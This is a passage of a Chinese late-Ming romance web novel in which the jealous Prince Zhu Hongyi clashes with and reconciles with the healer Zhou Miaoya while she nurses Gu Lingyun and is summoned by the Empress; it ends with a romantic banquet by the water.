“寸步未离?”四字一出,朱弘毅眸色骤沉,眼底尽是压不住的怒意翻涌。 什么伤势极重,什么高烧不退,于他皆若浮云,他真正在意的,是她竟亲自守了顾凌云一整夜,寸步未离。 这份温柔,他自己都从未得到过半分,她却毫无保留地给了其他人。 他愤怒地攥紧拳头,手上的青筋暴起,任凭指甲深深嵌入掌心。 还未等长安回过神,却见朱弘毅的玄色大氅已掠过身侧。 他怒至极点,一言不发,径直冲向马厩,扯过那匹最烈的汗血宝马,翻身即上。 “殿下!” 长安在后面呼喊着,呼声尚未落下,只听鞭梢嘶鸣,那西域进贡来的汗血宝马已如离弦之箭般冲出王府,朝着顾府方向疾驰而去。 慌乱中,长安率众侍卫仓皇上马,尘土飞扬,只见前头那道玄影越驰越远,望尘莫及。 顾府的厢房中,药气弥漫,浓得发苦。 周妙雅靠着在外间的矮榻上,刚刚和衣休息了不足一个时辰,眼皮沉的抬不起来。 里间忽然传来丫鬟压低的惊呼声:“周姑娘,大人…大人好像动了…” 她猛地被丫鬟的声音惊醒,本着医者的本能,抄起案头的药箱,掀帘冲进了里屋。 烛火被风带得跳跃了几下,映着榻上病人紧蹙的眉头。 似是因为剜心巨痛,榻上的病人眉心紧拧,额头沁出冷汗,胸前新换的纱布上,正慢慢洇开一团暗红。 “别动…”周妙雅急忙俯身,想凑近去查看那处裂开的伤口。怎料指尖刚触到纱布的边缘,手腕骤然一紧… 昏沉中的顾凌云竟一把攥住了她。 他掌心滚烫,力道大得骇人。 周妙雅猝不及防,被他拽得整个人往前扑。 药箱哐当一声 坠在地上,她踉跄着栽倒,脸颊重重撞上一片赤/裸而健硕的胸膛。 男人炽热的体息和伤口浓郁的血腥气,瞬间将她裹挟。 心跳声震耳欲聋,此刻也分不清是她的,还是他的。 “顾大人…松手!” 她压低声音挣扎着,手腕却被扣得更紧。他另一条结实的手臂突然环了上来,牢牢箍住她纤细的腰枝,将她死死按在了怀里。 她瞬间僵住,再不敢动。她害怕自己稍一用力便会扯到他胸前的伤口,刚止住的血必定会涌得更凶。 男人滚热的呼吸拂在她颈侧,手臂牢牢锁着纤腰,呓语低哑:“别走…” 周妙雅僵在他怀里,她能清晰感觉到他紧绷的肌肉传来的骇人的体温。 她偏过头试图避开他起伏的胸膛,声音发颤,带着恳求的哭腔:“顾凌云,你醒醒…” 帘外忽然传来急促的脚步声,门扉被砰地一声撞开。 逆着晨光,朱弘毅一袭玄氅立在门口,周身寒气凛冽。 他目光落在榻上纠缠的两人身上,瞳孔骤然缩紧,她青丝泻落,伏在男人赤膊的胸膛之上,男人有力的手臂紧扣她纤细的腰枝,几乎将她揉进骨血。二人身影在烛光下交叠,那画面格外刺眼。 一股怒潮自心底瞬间涌入头顶,理智瞬被燃成灰烬。 朱弘毅箭步抢到榻前,迅速出手,精准扣住了顾凌云腕间的穴位,暗劲一沉,动作干净利落。 顾凌云闷哼了一声,臂上力道骤松,软软垂了下去。 下一瞬,周妙雅只觉腕间骤紧,还不等她说话,整个人已被朱弘毅单手拎起,像拎起一只受惊的雏鸟。 他滚烫的掌心死死扣住她小臂,力道大得几乎勒进她骨缝,疼得她轻颤。 她能感受到,那是一种濒临失控的,带着浓烈占有欲的保护,再不许旁人靠近她半分。 “王爷…疼…”腕骨似要被他捏碎,她挣脱不开,就这么死死被他拽着,一语不发地拖出厢房,拖进隔壁昏暗空寂的耳房。 朱弘毅反手摔上门,力道之大,“砰”地一声震得梁木簌簌落灰。 黑暗中,他将她死死抵在冰冷的墙壁上,胸膛紧压过来,呼吸炙热滚烫。 朱弘毅眼底翻着猩红,指节钳住她下颌,平日里一贯的温文尔雅尽碾成灰:“他便那么好?好得让你…这般不知避忌?嗯?” 周妙雅氤氲的眼睫轻颤着,想避却无处可避,下颌被他钳得生疼,唇瓣微启,声音几乎碎在黑暗中:“不是的,你讲不讲理?他昏迷了,只是无意识的…” “无意识?”朱弘毅猛地俯身,鼻尖几乎要贴上了她的樱唇,声音嘶哑:“他扣着你腰身的力道,可半点不像昏迷。” 眼底翻涌着猩红,什么君臣之礼、皇家体统,此刻全被妒火烧成灰烬,只余下最原始的占有欲在胸腔里横冲直撞。 “我若再晚一步…” 话到此处戛然而止。 他忽然俯身,狠狠噙住了她的唇。 不是温柔的亲吻,是带着撕咬的惩罚。 那吻带着血腥气,粗暴地碾过她柔嫩的唇瓣,撬开齿关,长驱直入。 周妙雅被他禁/锢在胸膛与墙壁的逼仄之间,她越是推拒,他吻得越凶,仿佛要将顾凌云留下的所有痕迹都吞噬抹去。 直到咸涩的泪滚进两人齿间,朱弘毅才猛地僵住。 黑暗中,他**,缓缓撤开唇,却仍把她困在臂弯中。 他抬手,指腹颤颤地掠过她红肿的唇角,声音低哑得近乎破碎: “周妙雅…你非要把我逼疯,是不是?”—— 作者有话说:朱弘毅醋王人设不倒!!! 文案名场面来啦! 第72章 朱弘毅眼底的猩红逐渐退尽, 方才的暴怒褪去,只剩下深深的狼狈与不堪。 他这才看清,周妙雅氤氲的眼睫湿漉漉地黏在一起, 微微颤抖着, 被他蹂躏过的唇瓣红肿, 下唇甚至沁出了一丝细微的血珠。 他喉结剧烈滚动着,声音碎得不成样子:“妙雅,对不起,我…失态了。” 他指尖发颤,轻触着她的脸颊,想要把那些凉透的泪痕一点点拭去。 他小心翼翼的,生怕再用力一分, 就会把她碰碎。 周妙雅没有说话。 她抬起泪眼,静静地望着他, 目光穿过他低垂的睫羽, 一路落到了他的心底。 她看到了他眼底那片惊涛骇浪褪去后,裸/露出从未示人的惶惑、不安与脆弱。 他嗓音低哑,痛悔交加, 语气中带着痛极也是悔极:“对不起…我看见他碰你…这里…” 他突然握住她的手,按在自己心口:“这里像被剜了一刀, 我怕你怜他,怕你动容, 我怕失去你,甚于一切。” 周妙雅轻轻摇了摇头, 她向前半步,把侧脸贴在他仍剧烈起伏的胸膛上。 隔着衣料,她能听到他失控的心跳, 擂鼓一般,搅乱着她的呼吸。 朱弘毅身体倏然僵住,几乎不敢相信地低头。 她没有推开他,反而主动靠近。 那双他以为会盛满怨恨的眸子,此刻只映着清澈而温柔的平静。 随后,他感到一双微凉的手,无比坚定地环上他的腰,在他背后轻轻交握。 她整个身子倚进了他的怀里,像只在寒风中被冻僵的小猫,轻轻蜷贴在他胸膛,寻着唯一的依赖。 她轻轻叹了口气,温热的气息拂过他颈侧,声音轻得像羽毛: “二郎…” 这一声亲昵,从未有过。 朱弘毅瞬间喉结剧烈滚动,手臂蓦地收紧,将她更深地箍进怀里。 他心下诧异,几乎不敢相信… 她这是…原谅他了? 自己方才那般混账行径,连他自己都觉不堪,她竟就这样轻轻放过了? 她对他,究竟是什么心思? —————— 两人一路无言地回到了宁王府,方才耳房里的温存与亲密,仿佛一场不真实的梦,被冷风一吹,便散了。 朱弘毅将她送至暖阁门外,脚步顿住,他喉结微动,终只是低声说了句:“…早些歇息。” 周妙雅轻轻“嗯”了一声,没有抬头看他,侧身进了门。 门扉在身后无声地阖上,隔绝了彼此的视线。 长夜将至,灯火未灭,这一夜,注定无眠。 翌日清晨,天光尚未大亮,周妙雅便已起身。 她打开柜门,取出药箱,仔细检查着里面的金疮药,白纱布,银针,一件件点数归位。 她动作熟练,条理分明,仿佛昨日耳房种种,都已被封存。 收拾停当,她将药箱挎上肩头,推开房门,迈步向外走去。只是还没走出去几步,便在廊下被一道玄色身影拦住了去路。 朱弘毅不知已在晨雾里站了多久,肩头已沁透湿冷的寒意。 他的视线落在她肩背的药箱上,眸色瞬间沉了下去。 他声音微哑,带着一夜未眠的涩滞,几乎是在求她:“宫里太医那么多,王府也有医官,非缺你一个不成?你若放心不下,我即刻进宫奏请皇兄,给他派最好的太医,让卢院判亲自去也成。” 说罢,他便要伸手攥住她的手腕,想将她带回暖阁。 周妙雅却侧身避开了他的手,她抬起眼,目光清冷地看向他:“是太医的问题,还是你的问题?敢问宁王殿下,是病人的性命重要,还是你耍小性子重要?” 她声音不高,却字字带着刺:“人命与醋意,孰轻孰重?你何时这么幼稚?” “幼稚”二字像一记耳光,重重甩在他脸上,朱弘毅的脸色瞬间冷了下来。 他死死盯着她,胸膛剧烈起伏着,却终究没再去拦她。 周妙雅不再看他,背着药箱,径直从他身侧走过,脚步声在回廊中渐行渐远。 直待那倔强的身影消失在回廊尽头,朱弘毅才猛地回身,一拳砸在廊柱上,震得瓦檐上的残叶簌簌落下。 半晌,他才厉声唤道:“ 长安!” “属下在。” 朱弘毅声音冷硬,无波无澜:“去把库房中那几支千年人参,以及前日贡上的雪蛤,灵芝,全数装箱,即刻送至顾府。” 长安迟疑了一瞬,他似乎还没明白朱弘毅到底要做什么,只得低声应道:“是,属下这就去办。” “等等。” 朱弘毅语气冰冷,攥着拳头叫住了他:“告诉顾家的人,好生用着,别让他死得太快。” —————— 顾府厢房内,药气浓得发苦,比昨日更甚。 周妙雅坐在榻边的木凳上,手里的软布蘸了温水,正一点一点润着顾凌云干裂起皮的唇。 病榻上,顾凌云仍昏迷不醒,他眉心紧锁,呼吸滚烫粗重,似被疼痛困在梦魇中,无法挣脱。 她刚替他换完胸前伤口处的药,取下纱布的一瞬,狰狞的伤口还向外渗着血,她动作轻盈小心,额角渗着细汗,自己也浑然不觉。 门外廊下,几个穿着飞鱼服,腰佩绣春刀的汉子或靠或立,目光却不约而同地穿过半掩的门缝,落在那抹纤细沉静的身影上。 这些都是顾凌云手下的心腹,平日里早就见惯了刀口舔血,可那日自家大人从诏狱被抬回来时成了什么模样,他们都清楚,说是从鬼门关抢回半条命都算轻的。 一个年纪稍轻的小旗压着嗓子,与身旁的同僚耳语道:“上次在北镇抚司敛房验白骨的,就是这位周女官吧?她可是宁王殿下跟前的红人…没成想,伺候起大人来竟也这般…” 他一时找不到合适的词,憋了半天,才道:“这般尽心…” 立在他旁边的百户抱着臂,下巴朝里间一点,目带敬意:“何止尽心?换药,擦身,喂水,哪桩不是她亲力亲为?手稳得很,眼神也定,咱们这些粗人看着都怵的伤口,她连眉头都没皱一下。” “可不是么,”另一个靠在柱上的小旗接过话头,与二人低语道:“听闻昨夜大人高热,迷迷糊糊地险些打翻药碗,那周女官眼疾手快,将药碗一把按住,那滚烫的药汁子泼了她一手,都烫红了,她一声没吭,先紧着查看大人的伤口有没有崩开。” 几人沉默了片刻,看着屋里周妙雅拧了帕子,轻轻敷在顾凌云滚烫的额头上,动作细致妥帖。 年轻的小旗看得心急,又压着嗓子嘀咕道:“等咱们大人醒了,可得好好跟大人说道说道。这样的娘子,有本事,有担当,心肠又热,关键时候是靠得住的…大人可千万要抓住,万不能放跑了啊!” 那百户横了他一眼,示意他闭嘴,自己却忍不住往里再瞟,忍不住低声叹道:“是啊…大人孤身多年,也该有位贴心娘子相伴了,但愿大人醒来后…能懂这份心意。” 屋内,周妙雅对门外的低语浑然未觉,全副心神只系在病人身上。 她探手试了试病人的额温,热度似乎已退下去些许,这才松了口气。 她随即起身执起蒲扇,对着炉火上温着的药罐轻扇了几下,确保火候正好,不令药汁沸溢。 —————— 周妙雅在顾府直守到暮色四合,亲眼看着顾凌云高烧已退,脉象也平稳了,才交代好守夜的仆从,背着药箱回了王府。 怎知她刚踏进自己院门,青黛便急匆匆迎了上来,声音发着颤:“姑娘,您可算回来了,王爷…王爷他在书房,一个人喝了好些酒,酒罐子横七竖八地满地都是…奴婢们都不敢近前…” 周妙雅听闻,脚步一顿,把药箱往青黛怀里一塞,转身便朝书房疾步走去。 书房的门虚掩着,还未走近,一股浓烈刺鼻的酒气便扑面而来。 她推开门,映入眼帘的便是一地狼藉,满地碎瓷与残酒横流。 朱弘毅靠坐在书案旁,道袍的前襟半敞着,酒渍斑斑。 他手里仍攥半倾的酒坛,眸光涣散,听到脚步声,迟缓地转过头来。 他看清是她,嘴角勉强一扯,却笑得比哭还心酸。 周妙雅眉心紧蹙,几步上前,伸手便要去夺他手中的酒坛:“别喝了。” 朱弘毅手腕一翻,反而将她伸过来的手紧紧攥住。 他力道极大,捏得她骨头发疼,借着酒劲猛地将她往身前一拽。 周妙雅猝不及防,踉跄着被他按倒在冰凉坚硬的书案上,笔墨纸砚哗啦啦散落一地。 他随即俯身压下,酒气灼人,裹挟着巨大的绝望,狠狠地封住了她的唇。 他吻的毫无章法,辛辣的酒味与滚烫的气息在唇齿间横冲直撞,情绪中裹挟着满是脆弱与不安。 酒意与执念交织,他一遍遍地问,反复地确认,声音含糊却执拗:“你心里…到底装的…是他…还是我?” 周妙雅被他困在方寸之间,她抬起手肘想要横在他们中间,却不经意间看到了他猩红的眼底蓄满了不安的情绪。 望着他像溺水的孩童般无助的模样,她忽地停止了挣扎。 耳侧仍是他的呢喃,混着滚烫酒息:“你是不是…只喜欢他那样的?” 周妙雅轻轻阖上了双眼,任由他在她颈侧肆意妄为,再睁开时,眸底已是一片澄明。 她望着那张被酒意灼烧着,往日的霁月清风、君子风度被烧成灰烬,唯有破碎留下的脸,声音轻如羽落,却字字清晰: “喜欢你。” 然而,就在话音落地的瞬间,身上紧绷的男人蓦地一松,沉重的头颅骤然歪倒进她颈窝,呼吸滚烫而绵长。 他竟就这么睡了过去。 那三个字,随着空气消散在书房浓重的酒气中… 他一个字,也未曾听见。 第73章 次日清晨, 晨光透过窗棂,洒进朱弘毅的寝殿。 他猛地睁开眼,瞬间只觉头痛欲裂, 太阳穴突突直跳, 喉咙干涩得发不出声。 昨日是如何从书房回到寝殿, 他自己已毫无印象。只记得自己灌了许多酒,恍惚间,周妙雅来看他,劝他别再喝,而后他将她按在桌案上… 他好像又犯错了。 这个念头让他心头一紧,猛地从榻上坐起,却因动作太急, 眼前骤然一黑。 他下意识地抬手扶额,忍不住发出一声虚弱的闷哼。 强忍着稳住身形后, 他朝外间哑声唤道:“长安!” 长安应声而入, 垂首侍立。 朱弘毅揉着剧痛的额角,眉心紧蹙,嗓音低涩地吩咐:“去…去请周女官过来。就说本王身子不适, 头痛欲裂。” 长安闻言,抬起头, 面上神色复杂,唇角微微动了动, 欲言又止。 半晌,终是低声回道:“王爷, 王府中有医官。周女官昨日怕是累着了,您…便让她歇一歇罢。” 长安话中那回护之意太过明显,朱弘毅本还扶着额的手瞬间顿住。 他抬眸看向长安, 眼底充盈着血丝,嗓音低哑:“本王昨日…做了什么?” 长安忙避开了他的目光,把头垂了下去,低声回道:“属下不敢妄言,王爷您还是自己回想吧。行行行,属下这就去请,请来您自己看吧。” 说罢,几乎是逃也似的退了出去,心里还嘀咕着:主子的事,自己还是少说两句为好,不然又要被罚去刷马厩。 寝殿中,留朱弘毅独倚在榻边,长安刚刚那含糊其辞的态度是什么意思?昨日他到底做了什么?连长安都看不下去了? 他努力回想着,昨夜书房的记忆如被迷雾笼罩,记忆中只留下几个模糊的片段,她似乎挣扎过,他好像…弄疼她了? 不知过了多久,门外忽传来极轻的脚步声,一道倩影绕过屏风缓步走了进来。 是周妙雅… 她穿着一件月白色的立领长衫,领子微微翻折着,愈发显得颈线修长,长衫边系的苏绣飘带随风而摆,仿若画中仙娥下凡。 她步若止水,面上无波,只在目光与他相撞时,眼底才闪过一丝极难察觉的怜悯。 她走到朱弘毅塌前,在花梨木凳上坐下,淡声道:“听长 安说王爷身子不适?” 说罢,她伸出纤纤玉手,指尖微抬,示意诊脉。 朱弘毅依言伸手,目光却自她眉骨滑至颈侧,试图从上面找出些许昨夜疯狂的痕迹,或是…怨怼。 她垂着眼眸,专注地为他诊脉,长衫的立领本该将脖颈遮得严严实实,却仍被他觑见,翻折处下,泛着几点深紫色的暧昧痕迹。 不止那一处… 随着她指腹轻移,立领与肌肤之间偶然泄出的缝隙中,似乎还有更多…连绵的,隐没在衣料之下的吻痕。 这些都是…他昨日闯下的祸。 愧疚,懊悔,疼惜,种种情绪瞬间翻涌而上,快要将他整个人淹没。 他启了启唇,那句压在喉间的对不起尚未成型… 周妙雅却已收回了诊脉的手,站起身,声线平若止水:“王爷脉象弦紧,肝火浮盛,并无实病,只是宿醉未消,头痛实属寻常。” 她说罢,甚至没有再多看他一眼,只侧首朝屏风外候着的长安吩咐道:“去灶上取一碗醒酒汤来。” 话音刚落,她已转身欲要往外走去。 她那副疏离的姿态,仿佛昨夜种种不过是一场无需在意的梦。 朱弘毅只觉胸口骤然被掏空,比宿醉带来的虚空更令人惊惶。 “妙雅…”他下意识地想要唤住她,声线竟带着自己都未察觉的急切。 她非但脚步未停,裙裾随着疾行的脚步微动,已转向门口。 眼见她真要离去,朱弘毅也顾不得什么愧疚自省了,他不能真的就这么让她走了。 他猛地抬手抵住额角,身子重重陷回引枕,尾音拖得极长,带着刻意压抑的痛楚呜咽道:“…疼。” 见她脚步稍滞,他立刻趁火打劫,语气里掺了委屈和不满,还带着几分胡搅蛮缠: “凭什么?你给那顾凌云看病,换药擦身,事事亲力亲为,那般仔细周到。轮到本王,就一句宿醉,一碗醒酒汤便打发了?” 他越说越觉得理直气壮,酸意几乎溢了出来: “周女官,你这般厚此薄彼,是何道理?莫非在你心里,本王还比不上一个外人?” 他话音未落,长安托着醒酒汤进门,正好把他家王爷这番胡搅蛮缠一字不漏收入耳中。 长安脚步骤然顿住,端着托盘,进也不是,退也不是,只能尴尬地站在原地,大气都不敢喘一下。 周妙雅闻言,脚步终于彻底停下。 她目光掠过长安手里的药碗,又落回到榻上。 榻上那人捂着额,一副病入膏肓的模样。 她与长安对视了一眼,极其无奈地摇了摇头,随即伸手,接过了醒酒汤。 药碗温热,汤药在白瓷碗中里轻轻晃动着。 她端着碗,重新走回榻边,在花梨木凳上坐下。 朱弘毅见她去而复返,还端回了药,嘴角掠过一丝计谋得逞的笑意,但怕被发现,立即掩回虚弱的神色。 周妙雅垂着眼眸,执白瓷勺缓缓搅着药汤,舀起一勺,送至唇畔轻轻吹了吹,待热气散尽,方才稳稳递到他唇边。 “喝吧。”她声音清冷,动作却细致入微,骗不得人。 朱弘毅望着她低垂的睫羽,望着她为自己吹药的侧颜,顺从地张口,咽下那勺温热的药汁,目光却始终胶在她身上。 一碗汤药很快便见了底。 周妙雅将空碗置于一旁的小几上,又取过一方干净的素帕,俯身替他拭净唇角的残药,边擦边温柔地抱怨着:“酒量不济就少喝点,酒后伤身,孩童都懂得的道理…” 就在她抬手之际,宽大的袖口随动作滑落,露出左腕上方一小片肌肤。 那里赫然有几处新鲜的红点,周缘水泡未破,明显是烫痕。 朱弘毅的目光骤然定住,他猛地伸手,轻轻攥住了她的手腕。 “这又是怎么回事?”他急声问道,方才那点装出来的虚弱荡然无存,只剩下真切的焦灼:“怎么弄的?何时弄的?” 他想起前日里她守在顾府一夜,定是熬药或照料时不慎被烫伤,心疼、懊恼、酸意瞬间混作一团,齐齐涌上心头。 她为别人受伤,却对自己只字不提… 周妙雅想将手抽回,却被他握得更紧。 她抬眸撞上他紧锁的眉宇,望见他眼底涌着真切的焦急与关心。 她终是微微笑了笑,云淡风轻道:“无妨,只是煎药时溅到了一点,小事而已。” 至于顾凌云昏迷中打翻药碗之事,她只字未提。 “这怎会是小事!” 朱弘毅话音未落,却已掀开锦被,不顾自己只穿着单薄的中衣,翻身便下了榻。 宿醉与头痛早就被他甩到九霄云外,他箭步冲到黑漆螺钿立柜前,拉开抽屉,自琳琅满目的瓷瓶中拎出一只白玉小罐。 他攥着药罐快步走回床边,重新坐下,打开盖子,用指腹剜出一块晶凉的膏体。 他小心翼翼地执起她的手,动作轻柔,小心翼翼将药膏点点晕开,沿红痕缓缓涂匀,生怕弄疼了她分毫。 “你怎么这么不小心…”他垂眸,专注地看着她的手腕,声线低沉而沙哑:“等顾凌云醒来,本王定要问他的罪。” 他一边涂着药,一边俯唇贴近,轻轻吹拂药膏覆盖的伤处,想要将残余的灼痛通通吹散。 微凉的气息拂过皮肤,周妙雅垂眸静静地看着他,心底某一处,也跟着不由自主地柔软了下来。 就在这时,门外传来长安略显急促的声音,打破了室内的宁静:“王爷,姑娘,坤宁宫来人了,正在前厅候着,传皇后娘娘懿旨,点名了要姑娘前去接旨。” 周妙雅闻言,神色一敛,她将手从朱弘毅手中轻轻抽回,站起身回道:“我这就去。” 她眉眼已恢复了之前的沉静,朝朱弘毅微微颔首,转身疾步而出。 朱弘毅望着她匆匆离去的背影,思虑了片刻,坤宁宫此时点名召她,绝非寻常。 他心下思忖着,不敢怠慢,也立刻扬声唤人进来服侍更衣。 不过一盏茶的功夫,朱弘毅已穿戴整齐,他玄衣玉带,面色却仍带宿醉后的苍白。 他快步来到前厅,见周妙雅正跪在地上,垂首聆旨。 内侍见他进来,忙躬身一礼,随即展旨续宣: “皇后念周女官护弟有功,仁心可嘉,特宣即刻入宫觐见,毋得迟误。” 旨毕,内侍满面含笑,对周妙雅道:“周女官,快请起吧,皇后娘娘特意吩咐了,只见您一人,轿辇已在府外等候,还请随咱家即刻入宫,莫让娘娘久等。” 周妙雅叩首谢恩,心中虽有些许忐忑,但面色平静。 她起身时与朱弘毅视线短暂相接,他朝她轻轻点了点头,目色深沉,却未开口。 周妙雅随内侍穿过层层庭院,朝府门外候着的宫轿行去。 朱弘毅负手立于廊下,目送着她离去。 他心知皇后秉性刚正,又与顾凌云姐弟情深,此番召见,多半出于回护与感激。 只是…他抬手扶了扶额头,屋外的冷风拂过,又将宿醉的头痛卷了回来… 他想起了苏州城的那位孙嬷嬷… 他瞬间恍然大悟,原来周妙雅…在下好一盘大棋… 第74章 坤宁宫东暖阁内, 一股暖香扑面而来。 内侍引周妙雅入内时,皇后顾云舒正倚窗靠在暖榻上,指间轻捻一串沉香木念珠, 闭目养神。 她未施粉黛, 面上仍带几分大病初愈的倦意, 只披了一件素白的缎子长衫,耳间坠着两串鎏金葫芦耳坠,神情雍容,仿若观音垂目。 周妙雅低眉顺目,俯身叩首,她将呼吸声压得极轻,仿若怕惊扰了这份静谧:“女官周氏, 叩见皇后娘娘,愿娘娘千岁千岁千千岁。” “起来吧。”顾云舒缓缓睁眼, 声音轻倦, 抬手挥了挥。 她将目光凝在周妙雅身上,细细打量着她,心中思虑着:近日顾府发生的种种、 锦衣卫们的私语, 她虽幽居深宫,却也风闻一二。 她想起当初顾凌云为了见她, 破天荒求自己在宁王府设赏花宴,而后为了护她周全, 又特意来请赏赐。她这个弟弟自幼冷心冷情,何曾对哪个女子这般费尽心思?此刻亲眼得见, 才知确实与众不同。 她细细端详着周妙雅的容貌,眉不画而黛,唇不点而朱, 最难得是那双眼,澄澈似镜,却映着藏不住的韧骨。 果然清丽绝色… 顾云舒在心中暗叹,难怪能让凌哥儿那棵铁树,开了花。 顾云舒凝视着她,半晌方才启唇:“周女官以画破局,从魏琰手中救下我们姐弟二人,又无微不至地在病榻前照顾凌哥儿。” 她声音轻缓,却字字清晰:“这份恩情,我们姐弟无以为报。” 周妙雅微微垂眸:“皇后娘娘谬赞,设局救人的是宁王殿下,至于下官,不过是尽医者本分。” “本宫欠你一个人情。”顾云舒淡淡道,目光却仍停留在周妙雅脸上:“想要什么赏赐,但说无妨。” 周妙雅立即伏身叩首:“皇后娘娘隆恩,下官铭感。然顾大人铁骨铮铮,为的是家国天下,臣女所尽不过医者寸心,实不敢言赏。” 顾云舒停住指尖的念珠,微抬下颌:“本宫最不喜欠人情,金银、田庄、铺面,随你开口,抑或…” 她眸光一转,语气仍淡:“本宫可向圣上请一道恩旨,将你司画女官的品阶,再提一提。” 周妙雅叩首及地,再抬眸时,目光正好迎上了皇后的目光:“下官感念皇后娘娘厚爱,确有一事,不敢求赏,只求娘娘成全。” “讲。” “下官想拜托娘娘,在宫中寻一个人。” “何人?” “一位姓孙的女官,年约五十许,苏州人。”周妙雅的声音很稳,字字清晰:“她有个姐姐,多年前在苏州曹家巷的文府当差。” 顾云舒指尖的念珠轻轻顿了顿。 暖阁内静默片刻,只闻沉香袅袅。 “好。” 半晌,她声音平稳地应了她:“本宫答应你。” 她目光掠过周妙雅低垂的眉眼,语气淡然却笃定: “三日之后,给你答复。” ————— 周妙雅步出坤宁宫时,天边绚烂的晚霞已渐次铺开。 金红的余晖落在朱墙之上,琉璃瓦浮着温润的光。 她不由得放慢脚步,细细打量着这座皇城,飞檐斗拱,雕梁画栋,这是她第一次真正走进这里。 皇后身边的宫女如意执意相送,一路行至宫门外,忽然握住她的手,眼眶微红:“那日若不是周女官与宁王殿下,娘娘怕是…” 她声音哽咽,指尖收紧:“这份恩情,奴婢永远记在心里。” 周妙雅轻轻回握住她的手安慰着,目光却不由自主地望向远处。 暮色中的皇城肃穆而宁静,既已求得皇后恩宠,此刻与她来时的心境已大不相同。 周妙雅回到宁王府时,夜色已沉。 她沿着回廊往暖阁走去,心下却不由自主地思忖着:不知朱弘毅的头疼可好些了? 正思量间,青黛忽然从廊柱后闪出,笑吟吟地拦住她的去路,故作神秘道:“女官大人回来了?还请移步听风阁水榭,王爷有请。” 周妙雅眉梢微挑,疑惑地看了看她,见小丫头眼底藏着狡黠的光,不由得暗忖:这人前脚刚闹完头疼,这会儿又要整什么幺蛾子出来? 她轻吸了一口气,还是随那盏摇晃的绛纱灯往水榭走去。 水榭灯火铺陈,灯影投在碧水上,晃出一湖碎金。 周妙雅走近时不由怔住,宴席临水而设,满桌竟全是她偏爱的苏州菜。 樱桃汁酿的玫瑰松子糕,澄粉蒸出的薄荷茯苓团,桂花蜜渍的小汤圆,还有那一盅清炖蟹粉狮子头,鲜香扑鼻,暖意盈怀。 朱弘毅一身月白道袍,负手立于栏侧,见她款款走来,眼底笑意比灯火更亮。 他抬手轻击,水榭不远处的观鱼亭中霎时亮起数十盏明灯,丝竹声悠然响起,但见一身水田衣的陈妙常翩然登场,自月影中步出,檀口轻启,水磨调婉转唱起《玉簪记·琴挑·朝元歌》: “长清短清,哪管人离恨,云心水心,有甚闲愁闷…你是个天生俊生,曾占风流性” 吴侬软语伴着粼粼水波,在夜色中荡开层层涟漪,一层层荡进她心里。 周妙雅依言入席,她望向朱弘毅的眼中还带着未散的动容,想起他白日里还因宿醉摁着额角说头疼,便不由自主轻声问道:“殿下的头可还疼么?” 朱弘毅只轻轻摇了摇头,示意她专心听戏。可他自己那目光却始终凝在她脸上,满园灯火,婉转水磨腔,都不及她唇边的一点浅笑来得动人。 朱弘毅执箸为她布菜,声音温柔:“寿阳公主最好苏样,特地从苏州请了家班进京,我惦着你爱听家乡戏,便借来府中一用。” 说着,他便舀半盏清炖蟹粉狮子头放入她碗里:“你只管尽兴听,不必顾我喜静。” 说罢,他目光温柔地落在她脸上:“只要你喜欢,便好。” 周妙雅望着碟中精致的苏州菜,心头泛起阵阵暖意。 她想到这些时日的风波,想到那夜他醉酒昏睡时,未曾听见自己对他的表白…此刻在这属于他的府邸里,这人却温声说着“不必顾我喜静”。 水榭的灯火映在他月白的道袍上,衬得他眉目如画。 这一路走来,他对她的好,她自然都懂,可他是高高在上的宁王殿下,是生来就站在云端上的天潢贵胄,而自己不过是无父无母,身份微末的孤女。 即便那三个字被他听见了,又能如何?云泥之别,从来都不是说说而已。这满园灯火,婉转丝竹,终究不过是镜花水月。 周妙雅低垂着眼帘,努力将险些滚落的泪意藏进了颤动的长睫。 朱弘毅敏锐地察觉到了她眸底的波动,侧首温声问道:“怎么了?可是菜不合胃口?” 她轻轻摇头,隐去眼底的泪意,似是借着戏文中唱词的勇气,她小心翼翼地,将微微颤动的指尖从桌下悄悄探过,而后轻轻地、却无比坚定地,覆上了他放在膝上的手。 这突如其来的牵手让朱弘毅的身形猛地一震,随即,他翻过手掌,将她的手指紧紧攥入掌心,力道大得甚至有些颤抖。 两人依旧端坐着目视前方,仿佛都在专注聆听《玉簪记》的婉转唱腔。 水榭灯影摇曳,映着他们平静的侧颜。唯有桌下紧紧交握的手,在无人之处诉说着一切未尽之言。 酒过三巡,夜风携着淡淡的酒香在水榭间轻漾。 周妙雅望着杯中晃动的月影,脸颊竟微微泛起绯红。 朱弘毅执壶的手微微顿了顿… 两人抬眸,隔着案上灯火对视,记忆突然像是被同时翻开… 那年中秋,也是在这水榭之中,也是如今日这般波光映月。 纱帘被夜风掀起,他倾身向前,她睫毛轻颤,就在呼吸几乎交叠的那一刹那,却双双别开了头。 朱弘毅忽然明白过了什么,这一次他倾身靠近,没有再迟疑。 他的指尖轻轻托起她的下颌,微微俯身凑近了她的唇,轻轻地吻了上来,唇瓣相触的瞬间,周妙雅睫羽轻颤,却没有再躲闪。 远处笙箫未歇,近处唯有彼此交缠的呼吸。 他辗转厮磨,温柔缱绻,她怯生生地回应,轻颤的指尖不自觉地攥住他月白道袍的衣袖。 他含住她的唇瓣,先轻后重,一寸寸吮吸着,舌尖掠过唇缝,诱她启关。 察觉到了她的生涩,他托着她脸颊的手变得更温柔,却吻得更深。 她被他引着,渐渐松了壁垒,双手环上了他的脖颈,怯怯相迎。 他吻的缠绵悱恻,夜风掠过水面,拂开一池月色,也吹得她耳尖绯红。 良久…他终于放过了她湿濡的唇瓣,沿着她唇角顺势而下,轻轻含上了她的耳垂… 她浑身轻颤,环着他脖颈的指尖无意识地收紧,双颊泛着潮/红,软语唤他:“二郎…不要…” 远处戏台上 ,丝竹声仍伴着水中碧波不断传来。 台下水榭中,两人额间相抵,鼻尖相触,呼吸仍交缠,在彼此眼中看见同样的情动。 水磨调悠悠传来,唱词缱绻,却不及此刻眼波交缠的万分之一。 他望着她怯生生双目含情的眼,掌心抚过她脑后散乱的发,指尖插进发丝间,轻轻揉了揉… 她颤着眼睫,唇瓣红润,微启又阖,仿佛想说什么,却只余细碎的喘息。 他指腹轻抚她泛红的眼尾,声音低沉微哑:“妙妙永远在我身边,不要离开我,可好?”—— 作者有话说:铛铛铛!! 我要大张旗鼓地大言不惭地自卖自夸!!! 本文最晚明氛围感最浪漫的一章!!全书本作者写的最满意的一章!!它来啦它来啦!!!顶级晚明浪漫!! 